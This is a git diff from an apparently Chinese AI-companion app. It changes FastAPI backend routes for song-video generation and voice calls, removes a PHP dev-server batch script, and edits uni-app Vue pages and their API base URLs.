||||
user_id=task.user_id,
|
||||
lover_id=task.lover_id or 0,
|
||||
song_id=int(song_id),
|
||||
audio_url=audio_url or "",
|
||||
audio_hash=(audio_hash or "")[:64],
|
||||
image_hash=(image_hash or "")[:64] if image_hash else None,
|
||||
ratio=ratio,
|
||||
style_level=style_level,
|
||||
merged_video_url=merged_video_url,
|
||||
status="succeeded",
|
||||
error_msg=None,
|
||||
generation_task_id=task.id,
|
||||
created_at=task.created_at or datetime.utcnow(),
|
||||
updated_at=datetime.utcnow(),
|
||||
)
|
||||
else:
|
||||
existing.song_id = int(song_id)
|
||||
existing.merged_video_url = merged_video_url
|
||||
existing.status = "succeeded"
|
||||
existing.error_msg = None
|
||||
existing.updated_at = datetime.utcnow()
|
||||
existing.generation_task_id = task.id
|
||||
if task.lover_id:
|
||||
existing.lover_id = task.lover_id
|
||||
if audio_url:
|
||||
existing.audio_url = audio_url
|
||||
if audio_hash:
|
||||
existing.audio_hash = (audio_hash or "")[:64]
|
||||
if image_hash:
|
||||
existing.image_hash = (image_hash or "")[:64]
|
||||
existing.ratio = ratio
|
||||
existing.style_level = style_level
|
||||
|
||||
db.add(existing)
|
||||
|
||||
|
||||
def _retry_finalize_sing_task(task_id: int) -> None:
|
||||
"""任务失败但 DashScope 端已成功时,尝试重新下载视频并落库(自愈)。"""
|
||||
try:
|
||||
with SessionLocal() as db:
|
||||
task = (
|
||||
db.query(GenerationTask)
|
||||
.filter(GenerationTask.id == task_id)
|
||||
.with_for_update()
|
||||
.first()
|
||||
)
|
||||
if not task:
|
||||
return
|
||||
payload = task.payload or {}
|
||||
dash_id = payload.get("dashscope_task_id")
|
||||
if not dash_id:
|
||||
return
|
||||
|
||||
status, dash_video_url, error_msg = _query_dashscope_task_status(dash_id)
|
||||
if status != "SUCCEEDED" or not dash_video_url:
|
||||
return
|
||||
|
||||
video_bytes = _download_binary(dash_video_url)
|
||||
object_name = (
|
||||
f"lover/{task.lover_id}/sing/"
|
||||
f"{int(time.time())}_{payload.get('song_id') or 'unknown'}.mp4"
|
||||
)
|
||||
merged_video_url = _upload_to_oss(video_bytes, object_name)
|
||||
|
||||
task.status = "succeeded"
|
||||
task.result_url = merged_video_url
|
||||
task.error_msg = None
|
||||
task.payload = {
|
||||
**payload,
|
||||
"merged_video_url": merged_video_url,
|
||||
"retry_finalized": True,
|
||||
"dashscope_error": error_msg,
|
||||
}
|
||||
task.updated_at = datetime.utcnow()
|
||||
db.add(task)
|
||||
|
||||
_ensure_sing_history_record(db, task)
|
||||
db.commit()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
|
||||
@router.get("/generate/{task_id}", response_model=ApiResponse[SingTaskStatusOut])
|
||||
def get_sing_task(
|
||||
task_id: int,
|
||||
|
|
@ -2986,7 +2441,11 @@ def get_sing_task(
|
|||
merge_id = payload.get("merge_id")
|
||||
if merge_id:
|
||||
with SessionLocal() as tmp:
|
||||
merge = tmp.query(SingSongVideo).filter(SingSongVideo.id == merge_id).first()
|
||||
merge = (
|
||||
tmp.query(SingSongVideo)
|
||||
.filter(SingSongVideo.id == merge_id)
|
||||
.first()
|
||||
)
|
||||
if merge and merge.status == "succeeded" and merge.merged_video_url:
|
||||
current = (
|
||||
tmp.query(GenerationTask)
|
||||
|
|
@ -3006,6 +2465,7 @@ def get_sing_task(
|
|||
"content_safety_blocked": content_safety_blocked,
|
||||
}
|
||||
current.updated_at = datetime.utcnow()
|
||||
# 更新聊天占位消息与扣减(若未扣)
|
||||
try:
|
||||
lover_msg_id = (current.payload or {}).get("lover_message_id")
|
||||
session_id = (current.payload or {}).get("session_id")
|
||||
|
|
@ -3057,21 +2517,8 @@ def get_sing_task(
|
|||
tmp.commit()
|
||||
task = current
|
||||
|
||||
# 自愈:成功任务但历史缺记录,补写 nf_sing_song_video
|
||||
if task.status == "succeeded":
|
||||
try:
|
||||
_ensure_sing_history_record(db, task)
|
||||
db.commit()
|
||||
except Exception:
|
||||
db.rollback()
|
||||
|
||||
# 自愈:失败任务但 DashScope 可能已成功(下载/上传失败导致),后台重试一次
|
||||
if task.status == "failed":
|
||||
payload = task.payload or {}
|
||||
if payload.get("dashscope_task_id") and not payload.get("retry_finalized"):
|
||||
background_tasks.add_task(_retry_finalize_sing_task, int(task.id))
|
||||
|
||||
resp_msg = status_msg_map.get(task.status or "", resp_msg)
|
||||
|
||||
payload = task.payload or {}
|
||||
return success_response(
|
||||
SingTaskStatusOut(
|
||||
|
|
@ -3086,4 +2533,3 @@ def get_sing_task(
|
|||
),
|
||||
msg=resp_msg,
|
||||
)
|
||||
|
||||
|
|
|
|||
|
|
@ -1,32 +0,0 @@
|
|||
from fastapi import APIRouter, Depends
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/user/info")
|
||||
def get_user_info(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户信息"""
|
||||
return success_response({
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"reg_step": user.reg_step,
|
||||
"gender": user.gender
|
||||
})
|
||||
|
||||
@router.post("/user/logout")
|
||||
def logout(user: AuthedUser = Depends(get_current_user)):
|
||||
"""用户登出"""
|
||||
return success_response({"message": "登出成功"})
|
||||
|
||||
@router.get("/user/profile")
|
||||
def get_user_profile(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户资料"""
|
||||
return success_response({
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"avatar": "",
|
||||
"gender": user.gender,
|
||||
"city": "",
|
||||
"hobbies": []
|
||||
})
|
||||
|
|
@ -1,31 +0,0 @@
|
|||
from fastapi import APIRouter, Depends, HTTPException
|
||||
from lover.deps import get_current_user, AuthedUser
|
||||
from lover.response import success_response
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/api/user_basic/get_user_basic")
|
||||
def get_user_basic(user: AuthedUser = Depends(get_current_user)):
|
||||
"""给 FastAdmin 调用的用户信息接口(兼容原 PHP 接口格式)"""
|
||||
return {
|
||||
"code": 1,
|
||||
"msg": "success",
|
||||
"data": {
|
||||
"id": user.id,
|
||||
"nickname": user.nickname,
|
||||
"reg_step": user.reg_step,
|
||||
"gender": user.gender,
|
||||
}
|
||||
}
|
||||
|
||||
@router.get("/api/user_basic/get_hobbies")
|
||||
def get_hobbies(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户兴趣爱好"""
|
||||
return success_response([
|
||||
{"id": 1, "name": "游戏", "selected": True},
|
||||
{"id": 2, "name": "骑行", "selected": True},
|
||||
{"id": 3, "name": "读书", "selected": True},
|
||||
{"id": 4, "name": "音乐", "selected": False},
|
||||
{"id": 5, "name": "运动", "selected": False},
|
||||
{"id": 6, "name": "旅行", "selected": False}
|
||||
])
|
||||
|
|
@ -7,15 +7,15 @@ from typing import List, Optional
|
|||
|
||||
import requests
|
||||
import dashscope
|
||||
from fastapi import APIRouter, Depends, HTTPException, WebSocket, WebSocketDisconnect, status
|
||||
from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status
|
||||
from fastapi.websockets import WebSocketState
|
||||
|
||||
from ..config import settings
|
||||
from ..deps import AuthedUser, get_current_user, _fetch_user_from_php
|
||||
from ..deps import AuthedUser, _fetch_user_from_php
|
||||
from ..llm import chat_completion_stream
|
||||
from ..tts import synthesize
|
||||
from ..db import SessionLocal
|
||||
from ..models import Lover, VoiceLibrary, User
|
||||
from ..models import Lover, VoiceLibrary
|
||||
|
||||
try:
|
||||
from dashscope.audio.asr import Recognition, RecognitionCallback, RecognitionResult
|
||||
|
|
@ -37,37 +37,6 @@ logger.setLevel(logging.INFO)
|
|||
END_OF_TTS = "<<VOICE_CALL_TTS_END>>"
|
||||
|
||||
|
||||
@router.get("/call/duration")
|
||||
async def get_call_duration(user: AuthedUser = Depends(get_current_user)):
|
||||
"""获取用户的语音通话时长配置"""
|
||||
from ..db import SessionLocal
|
||||
from ..models import User
|
||||
from datetime import datetime
|
||||
|
||||
db = SessionLocal()
|
||||
try:
|
||||
user_row = db.query(User).filter(User.id == user.id).first()
|
||||
if not user_row:
|
||||
raise HTTPException(status_code=404, detail="用户不存在")
|
||||
|
||||
# 检查 VIP 状态(vip_endtime 是 Unix 时间戳)
|
||||
current_timestamp = int(datetime.utcnow().timestamp())
|
||||
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
|
||||
|
||||
if is_vip:
|
||||
duration = 0 # 0 表示无限制
|
||||
else:
|
||||
duration = 300000 # 普通用户 5 分钟
|
||||
|
||||
from ..response import success_response
|
||||
return success_response({
|
||||
"duration": duration,
|
||||
"is_vip": is_vip
|
||||
})
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
|
||||
class WSRecognitionCallback(RecognitionCallback): # type: ignore[misc]
|
||||
"""ASR 回调,将句子级结果推入会话队列。"""
|
||||
|
||||
|
|
|
|||
|
|
@ -1,29 +0,0 @@
|
|||
"""
|
||||
修复数据库中的 TTS URL,将 127.0.0.1 替换为空,让系统重新生成
|
||||
"""
|
||||
import sys
|
||||
import os
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
|
||||
from sqlalchemy import create_engine, text
|
||||
from lover.config import settings
|
||||
|
||||
def fix_tts_urls():
|
||||
engine = create_engine(settings.DATABASE_URL)
|
||||
|
||||
with engine.connect() as conn:
|
||||
# 将所有包含 127.0.0.1 的 TTS URL 清空
|
||||
result = conn.execute(
|
||||
text("""
|
||||
UPDATE nf_chat_message
|
||||
SET tts_url = NULL, tts_status = 'pending'
|
||||
WHERE tts_url LIKE '%127.0.0.1%'
|
||||
""")
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
print(f"已清理 {result.rowcount} 条旧的 TTS URL")
|
||||
print("用户下次请求 TTS 时会自动使用新的 URL")
|
||||
|
||||
if __name__ == "__main__":
|
||||
fix_tts_urls()
|
||||
|
|
@ -17,14 +17,10 @@ class SimpleTaskQueue:
|
|||
self._inflight_lock = threading.Lock()
|
||||
|
||||
def start(self, workers: int):
|
||||
import logging
|
||||
logger = logging.getLogger(self._name)
|
||||
with self._lock:
|
||||
if self._started:
|
||||
logger.warning(f"{self._name} 队列已经启动,跳过")
|
||||
return
|
||||
self._started = True
|
||||
logger.info(f"启动 {workers} 个 {self._name} worker 线程")
|
||||
for idx in range(max(1, workers)):
|
||||
thread = threading.Thread(
|
||||
target=self._worker,
|
||||
|
|
@ -33,8 +29,6 @@ class SimpleTaskQueue:
|
|||
)
|
||||
thread.start()
|
||||
self._threads.append(thread)
|
||||
logger.info(f"Worker 线程 {self._name}-worker-{idx + 1} 已启动")
|
||||
logger.info(f"{self._name} 队列启动完成,共 {len(self._threads)} 个 worker")
|
||||
|
||||
def enqueue(self, func: Callable, *args, **kwargs) -> None:
|
||||
self._queue.put((None, func, args, kwargs))
|
||||
|
|
@ -51,35 +45,22 @@ class SimpleTaskQueue:
|
|||
return True
|
||||
|
||||
def _worker(self):
|
||||
import logging
|
||||
logger = logging.getLogger(self._name)
|
||||
logger.info(f"Worker 线程 {threading.current_thread().name} 开始运行")
|
||||
while True:
|
||||
key, func, args, kwargs = self._queue.get()
|
||||
try:
|
||||
logger.debug(f"Worker {threading.current_thread().name} 等待任务...")
|
||||
key, func, args, kwargs = self._queue.get()
|
||||
logger.info(f"Worker {threading.current_thread().name} 获取到任务: {func.__name__}, key={key}")
|
||||
try:
|
||||
func(*args, **kwargs)
|
||||
logger.info(f"Worker {threading.current_thread().name} 任务完成: {func.__name__}")
|
||||
except Exception as e:
|
||||
logger.exception(f"{self._name} worker 任务失败: {e}")
|
||||
finally:
|
||||
if key:
|
||||
with self._inflight_lock:
|
||||
self._inflight.discard(key)
|
||||
self._queue.task_done()
|
||||
except Exception as e:
|
||||
logger.exception(f"Worker {threading.current_thread().name} 发生异常: {e}")
|
||||
func(*args, **kwargs)
|
||||
except Exception:
|
||||
logging.exception("%s worker task failed", self._name)
|
||||
finally:
|
||||
if key:
|
||||
with self._inflight_lock:
|
||||
self._inflight.discard(key)
|
||||
self._queue.task_done()
|
||||
|
||||
|
||||
sing_task_queue = SimpleTaskQueue("sing")
|
||||
|
||||
|
||||
def start_sing_workers():
|
||||
import logging
|
||||
logger = logging.getLogger("sing")
|
||||
workers = max(1, settings.SING_MERGE_MAX_CONCURRENCY or 1)
|
||||
logger.info(f"启动 {workers} 个唱歌任务 worker 线程")
|
||||
sing_task_queue.start(workers)
|
||||
logger.info("唱歌任务 worker 线程启动完成")
|
||||
|
|
|
|||
Binary file not shown.
|
|
@ -1,161 +0,0 @@
|
|||
@echo off
|
||||
chcp 65001 >nul
|
||||
title PHP 开发服务器
|
||||
|
||||
:MENU
|
||||
cls
|
||||
echo ========================================
|
||||
echo PHP 开发服务器启动脚本 (高级版)
|
||||
echo ========================================
|
||||
echo.
|
||||
echo 请选择启动模式:
|
||||
echo.
|
||||
echo [1] 快速启动 (端口 8080)
|
||||
echo [2] 自定义端口
|
||||
echo [3] 查看 PHP 信息
|
||||
echo [4] 退出
|
||||
echo.
|
||||
echo ========================================
|
||||
set /p choice=请输入选项 (1-4):
|
||||
|
||||
if "%choice%"=="1" goto QUICK_START
|
||||
if "%choice%"=="2" goto CUSTOM_PORT
|
||||
if "%choice%"=="3" goto PHP_INFO
|
||||
if "%choice%"=="4" goto END
|
||||
echo [错误] 无效选项,请重新选择
|
||||
timeout /t 2 >nul
|
||||
goto MENU
|
||||
|
||||
:QUICK_START
|
||||
set PORT=8080
|
||||
goto START_SERVER
|
||||
|
||||
:CUSTOM_PORT
|
||||
echo.
|
||||
set /p PORT=请输入端口号 (例如: 8080):
|
||||
if "%PORT%"=="" (
|
||||
echo [错误] 端口号不能为空
|
||||
timeout /t 2 >nul
|
||||
goto MENU
|
||||
)
|
||||
goto START_SERVER
|
||||
|
||||
:START_SERVER
|
||||
cls
|
||||
echo ========================================
|
||||
echo 正在启动 PHP 开发服务器...
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
REM 设置 PHP 路径
|
||||
set PHP_PATH=D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe
|
||||
|
||||
REM 检查 PHP 是否存在
|
||||
if not exist "%PHP_PATH%" (
|
||||
echo [错误] PHP 未找到: %PHP_PATH%
|
||||
echo.
|
||||
echo 请修改脚本中的 PHP_PATH 变量
|
||||
pause
|
||||
goto MENU
|
||||
)
|
||||
|
||||
REM 显示 PHP 版本
|
||||
echo [信息] PHP 版本:
|
||||
"%PHP_PATH%" -v | findstr /C:"PHP"
|
||||
echo.
|
||||
|
||||
REM 设置项目根目录
|
||||
set PROJECT_ROOT=%~dp0xunifriend_RaeeC\public
|
||||
|
||||
REM 检查项目目录是否存在
|
||||
if not exist "%PROJECT_ROOT%" (
|
||||
echo [错误] 项目目录未找到: %PROJECT_ROOT%
|
||||
pause
|
||||
goto MENU
|
||||
)
|
||||
|
||||
REM 获取本机 IP 地址
|
||||
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /C:"IPv4"') do (
|
||||
set LOCAL_IP=%%a
|
||||
goto :IP_FOUND
|
||||
)
|
||||
:IP_FOUND
|
||||
set LOCAL_IP=%LOCAL_IP: =%
|
||||
|
||||
REM 设置服务器参数
|
||||
set HOST=0.0.0.0
|
||||
|
||||
echo [信息] 项目目录: %PROJECT_ROOT%
|
||||
echo [信息] 服务器端口: %PORT%
|
||||
echo.
|
||||
echo ========================================
|
||||
echo 访问地址:
|
||||
echo ========================================
|
||||
echo.
|
||||
echo [本地访问]
|
||||
echo http://127.0.0.1:%PORT%
|
||||
echo http://localhost:%PORT%
|
||||
echo.
|
||||
echo [局域网访问]
|
||||
echo http://%LOCAL_IP%:%PORT%
|
||||
echo.
|
||||
echo [管理后台]
|
||||
echo http://127.0.0.1:%PORT%/admin
|
||||
echo.
|
||||
echo ========================================
|
||||
echo.
|
||||
echo [提示] 按 Ctrl+C 停止服务器
|
||||
echo.
|
||||
|
||||
REM 询问是否打开浏览器
|
||||
set /p OPEN_BROWSER=是否自动打开浏览器? (Y/N):
|
||||
if /i "%OPEN_BROWSER%"=="Y" (
|
||||
echo [信息] 正在打开浏览器...
|
||||
start http://127.0.0.1:%PORT%
|
||||
)
|
||||
|
||||
echo.
|
||||
echo [信息] 服务器启动中...
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
REM 启动 PHP 内置服务器
|
||||
cd /d "%PROJECT_ROOT%"
|
||||
"%PHP_PATH%" -S %HOST%:%PORT% -t .
|
||||
|
||||
pause
|
||||
goto MENU
|
||||
|
||||
:PHP_INFO
|
||||
cls
|
||||
echo ========================================
|
||||
echo PHP 信息
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
set PHP_PATH=D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe
|
||||
|
||||
if not exist "%PHP_PATH%" (
|
||||
echo [错误] PHP 未找到: %PHP_PATH%
|
||||
pause
|
||||
goto MENU
|
||||
)
|
||||
|
||||
echo [PHP 版本]
|
||||
"%PHP_PATH%" -v
|
||||
echo.
|
||||
echo [PHP 配置文件]
|
||||
"%PHP_PATH%" --ini
|
||||
echo.
|
||||
echo [已加载的扩展]
|
||||
"%PHP_PATH%" -m
|
||||
echo.
|
||||
|
||||
pause
|
||||
goto MENU
|
||||
|
||||
:END
|
||||
echo.
|
||||
echo 感谢使用!
|
||||
timeout /t 1 >nul
|
||||
exit
|
||||
13
xuniYou/.vite/deps/_metadata.json
Normal file
13
xuniYou/.vite/deps/_metadata.json
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
{
|
||||
"hash": "58b0dea4",
|
||||
"browserHash": "94d21d6d",
|
||||
"optimized": {
|
||||
"easemob-websdk/uniApp/Easemob-chat": {
|
||||
"src": "../../node_modules/easemob-websdk/uniApp/Easemob-chat.js",
|
||||
"file": "easemob-websdk_uniApp_Easemob-chat.js",
|
||||
"fileHash": "44a13f3e",
|
||||
"needsInterop": true
|
||||
}
|
||||
},
|
||||
"chunks": {}
|
||||
}
|
||||
7922
xuniYou/.vite/deps/easemob-websdk_uniApp_Easemob-chat.js
Normal file
7922
xuniYou/.vite/deps/easemob-websdk_uniApp_Easemob-chat.js
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
1
xuniYou/.vite/deps/package.json
Normal file
1
xuniYou/.vite/deps/package.json
Normal file
|
|
@ -0,0 +1 @@
|
|||
{"type":"module"}
|
||||
|
|
@ -1,127 +0,0 @@
|
|||
<template>
|
||||
<view class="main-tabs-container">
|
||||
<scroll-view class="tab-scroll" scroll-x="true" show-scrollbar="false">
|
||||
<view class="tab-list">
|
||||
<view
|
||||
v-for="(tab, index) in tabs"
|
||||
:key="index"
|
||||
class="tab-item"
|
||||
:class="{ 'active': currentIndex === index }"
|
||||
@click="switchTab(index)">
|
||||
<text class="tab-name">{{ tab.name }}</text>
|
||||
</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
</view>
|
||||
</template>
|
||||
|
||||
<script>
|
||||
export default {
|
||||
name: 'MainTabs',
|
||||
props: {
|
||||
// 当前激活的 tab 索引
|
||||
current: {
|
||||
type: Number,
|
||||
default: 0
|
||||
}
|
||||
},
|
||||
data() {
|
||||
return {
|
||||
currentIndex: this.current,
|
||||
tabs: [
|
||||
{ name: '首页', path: '/pages/index/index' },
|
||||
{ name: '聊天', path: '/pages/chat/simple' }, // 改为简化版聊天页面
|
||||
{ name: '唱歌', path: '/pages/index/index?tab=2' },
|
||||
{ name: '跳舞', path: '/pages/index/index?tab=3' },
|
||||
{ name: '换服装', path: '/pages/index/replacement' },
|
||||
{ name: '刷礼物', path: '/pages/index/index?tab=5' },
|
||||
{ name: '商城', path: '/pages/index/index?tab=6' },
|
||||
{ name: '短剧', path: '/pages/index/index?tab=7' }
|
||||
]
|
||||
}
|
||||
},
|
||||
watch: {
|
||||
current(newVal) {
|
||||
this.currentIndex = newVal;
|
||||
}
|
||||
},
|
||||
methods: {
|
||||
switchTab(index) {
|
||||
console.log('Tab 组件:切换到索引', index, '对应 Tab:', this.tabs[index].name);
|
||||
|
||||
const tab = this.tabs[index];
|
||||
|
||||
// 如果是当前页面,不跳转
|
||||
if (this.currentIndex === index) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 特殊处理:首页、聊天、换服装使用 redirectTo
|
||||
if (index === 0) {
|
||||
// 首页
|
||||
uni.redirectTo({
|
||||
url: '/pages/index/index'
|
||||
});
|
||||
} else if (index === 1) {
|
||||
// 聊天 - 跳转到简化版
|
||||
uni.redirectTo({
|
||||
url: '/pages/chat/simple'
|
||||
});
|
||||
} else if (index === 4) {
|
||||
// 换服装
|
||||
uni.redirectTo({
|
||||
url: '/pages/index/replacement'
|
||||
});
|
||||
} else {
|
||||
// 其他 tab 返回首页并切换到对应 tab
|
||||
uni.redirectTo({
|
||||
url: `/pages/index/index?tab=${index}`
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.main-tabs-container {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 1000;
|
||||
background: rgba(255, 255, 255, 0.95);
|
||||
padding: 10rpx 0;
|
||||
padding-top: calc(10rpx + var(--status-bar-height));
|
||||
box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
|
||||
.tab-scroll {
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.tab-list {
|
||||
display: inline-flex;
|
||||
padding: 0 20rpx;
|
||||
}
|
||||
|
||||
.tab-item {
|
||||
display: inline-block;
|
||||
padding: 15rpx 30rpx;
|
||||
margin: 0 10rpx;
|
||||
font-size: 28rpx;
|
||||
color: #666;
|
||||
border-radius: 30rpx;
|
||||
transition: all 0.3s;
|
||||
}
|
||||
|
||||
.tab-item.active {
|
||||
color: #fff;
|
||||
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.tab-name {
|
||||
white-space: nowrap;
|
||||
}
|
||||
</style>
|
||||
|
|
@ -71,15 +71,6 @@
|
|||
"navigationStyle": "custom"
|
||||
}
|
||||
},
|
||||
{
|
||||
"path": "pages/chat/simple",
|
||||
"style": {
|
||||
"navigationBarTitleText": "聊天",
|
||||
"navigationBarBackgroundColor": "#FFFFFF",
|
||||
"navigationBarTextStyle": "black",
|
||||
"navigationStyle": "custom"
|
||||
}
|
||||
},
|
||||
{
|
||||
"path": "pages/chat/phone",
|
||||
"style": {
|
||||
|
|
|
|||
|
|
@ -76,8 +76,6 @@
|
|||
</template>
|
||||
|
||||
<script>
|
||||
import { baseURL } from '@/utils/request.js'
|
||||
|
||||
export default {
|
||||
data() {
|
||||
return {
|
||||
|
|
@ -264,7 +262,7 @@ export default {
|
|||
},
|
||||
computed: {
|
||||
baseURL() {
|
||||
return baseURL;
|
||||
return 'http://127.0.0.1:8080';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -275,7 +275,6 @@
|
|||
SingGenerate,
|
||||
SingGenerateTask
|
||||
} from '@/utils/api.js'
|
||||
import { baseURL, baseURLPy } from '@/utils/request.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
import ai from '@/components/ai.vue';
|
||||
|
|
@ -354,8 +353,8 @@
|
|||
// 消息编辑相关
|
||||
editModalVisible: false,
|
||||
editingMessage: null,
|
||||
baseURL: baseURL,
|
||||
baseURLPy: baseURLPy,
|
||||
baseURL: 'http://127.0.0.1:8080',
|
||||
baseURLPy: 'http://127.0.0.1:8000',
|
||||
// 思考时间相关
|
||||
messageSentTime: 0, // 消息发送时间戳
|
||||
}
|
||||
|
|
@ -732,7 +731,6 @@
|
|||
|
||||
// 播放音频
|
||||
this.currentAudioContext.play();
|
||||
this.isPlaying = true; // 设置播放状态为true
|
||||
|
||||
// 监听播放结束事件,播放结束后清空当前音频上下文
|
||||
this.currentAudioContext.onEnded(() => {
|
||||
|
|
@ -1152,17 +1150,12 @@
|
|||
this.sessionSend();
|
||||
},
|
||||
playVoice(id) {
|
||||
console.log('点击播放按钮,消息ID:', id, '当前播放ID:', this.currentPlayingId, '播放状态:', this.isPlaying);
|
||||
|
||||
// 如果点击的是当前正在播放的语音,则暂停播放
|
||||
// 如果点击的是当前正在播放的语音,则停止播放
|
||||
if (this.currentPlayingId === id && this.isPlaying) {
|
||||
console.log('暂停当前播放的音频');
|
||||
this.stopCurrentAudio();
|
||||
return;
|
||||
}
|
||||
|
||||
// 开始播放新的音频
|
||||
console.log('开始播放新音频,消息ID:', id);
|
||||
this.chatMessagesTtsform.id = id;
|
||||
this.currentPlayingId = id; // 设置当前播放ID
|
||||
this.isPlaying = true; // 设置播放状态
|
||||
|
|
|
|||
|
|
@ -9,13 +9,13 @@
|
|||
</view>
|
||||
<view class="header">
|
||||
<view class="header_content">
|
||||
<view class="header_time">{{ isVip ? 'VIP 无限通话' : '通话剩余时间' }}</view>
|
||||
<view class="header_module fa sb" v-if="!isVip">
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).hours }}</view>
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).minutes }}</view>
|
||||
<view class="header_title faj">{{ formatTime(remainingTime).seconds }}</view>
|
||||
<view class="header_time">通话剩余时间</view>
|
||||
<view class="header_module fa sb">
|
||||
<view class="header_title faj">00</view>
|
||||
<view class="header_title faj">05</view>
|
||||
<view class="header_title faj">00</view>
|
||||
</view>
|
||||
<view class="header_recharge faj" @click="goRecharge">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
|
||||
<view class="header_recharge faj">充值<image src="/static/images/phone_more.png" mode="widthFix"></image>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
|
|
@ -56,7 +56,6 @@
|
|||
|
||||
} from '@/utils/api.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
const recorderManager = uni.getRecorderManager();
|
||||
export default {
|
||||
|
|
@ -78,10 +77,7 @@
|
|||
audioContext: null,
|
||||
audioData: [],
|
||||
isApp: false, // 是否为 App 端
|
||||
totalDuration: 300000, // 默认 5 分钟
|
||||
remainingTime: 300000,
|
||||
timer: null,
|
||||
isVip: false
|
||||
|
||||
}
|
||||
},
|
||||
onLoad() {
|
||||
|
|
@ -90,82 +86,13 @@
|
|||
console.log('systemInfo', systemInfo)
|
||||
// console.log('plus', plus)
|
||||
this.isApp = systemInfo.uniPlatform === 'app'
|
||||
this.getCallDuration()
|
||||
this.connectWebSocket()
|
||||
this.initAudio()
|
||||
},
|
||||
onUnload() {
|
||||
this.stopCall()
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer)
|
||||
}
|
||||
},
|
||||
methods: {
|
||||
getCallDuration() {
|
||||
uni.request({
|
||||
url: baseURLPy + '/voice/call/duration',
|
||||
method: 'GET',
|
||||
header: {
|
||||
'Authorization': 'Bearer ' + uni.getStorageSync("token")
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('通话时长配置:', res.data)
|
||||
if (res.data.code === 1 && res.data.data) {
|
||||
const duration = res.data.data.duration
|
||||
this.isVip = res.data.data.is_vip
|
||||
if (duration > 0) {
|
||||
this.totalDuration = duration
|
||||
this.remainingTime = duration
|
||||
} else {
|
||||
// VIP 用户无限制,设置为 24 小时
|
||||
this.totalDuration = 24 * 60 * 60 * 1000
|
||||
this.remainingTime = 24 * 60 * 60 * 1000
|
||||
}
|
||||
}
|
||||
this.connectWebSocket()
|
||||
},
|
||||
fail: (err) => {
|
||||
console.error('获取通话时长失败:', err)
|
||||
// 失败时使用默认值
|
||||
this.connectWebSocket()
|
||||
}
|
||||
})
|
||||
},
|
||||
formatTime(ms) {
|
||||
const totalSeconds = Math.floor(ms / 1000)
|
||||
const hours = Math.floor(totalSeconds / 3600)
|
||||
const minutes = Math.floor((totalSeconds % 3600) / 60)
|
||||
const seconds = totalSeconds % 60
|
||||
return {
|
||||
hours: String(hours).padStart(2, '0'),
|
||||
minutes: String(minutes).padStart(2, '0'),
|
||||
seconds: String(seconds).padStart(2, '0')
|
||||
}
|
||||
},
|
||||
startTimer() {
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer)
|
||||
}
|
||||
this.timer = setInterval(() => {
|
||||
this.remainingTime -= 1000
|
||||
if (this.remainingTime <= 0) {
|
||||
clearInterval(this.timer)
|
||||
uni.showToast({
|
||||
title: '通话时间已用完',
|
||||
icon: 'none'
|
||||
})
|
||||
setTimeout(() => {
|
||||
uni.navigateBack()
|
||||
}, 1500)
|
||||
} else if (this.remainingTime === 60000) {
|
||||
// 剩余 1 分钟提示
|
||||
uni.showToast({
|
||||
title: '剩余 1 分钟',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
})
|
||||
}
|
||||
}, 1000)
|
||||
},
|
||||
hangUp() {
|
||||
uni.showModal({
|
||||
title: '提示',
|
||||
|
|
@ -220,7 +147,6 @@
|
|||
this.socketTask.onOpen((res) => {
|
||||
console.log('onOpen:', res)
|
||||
this.startRecording();
|
||||
this.startTimer();
|
||||
});
|
||||
this.socketTask.onMessage((res) => {
|
||||
console.log('onMessage:', res.data)
|
||||
|
|
@ -263,7 +189,7 @@
|
|||
}
|
||||
});
|
||||
recorderManager.start({
|
||||
duration: this.totalDuration,
|
||||
duration: 600000,
|
||||
format: 'pcm', // ⚠️ 必须用 PCM,Paraformer 实时版只吃 PCM
|
||||
sampleRate: 16000, // ⚠️ 必须 16000Hz,这是 ASR 的标准
|
||||
numberOfChannels: 1, // 单声道
|
||||
|
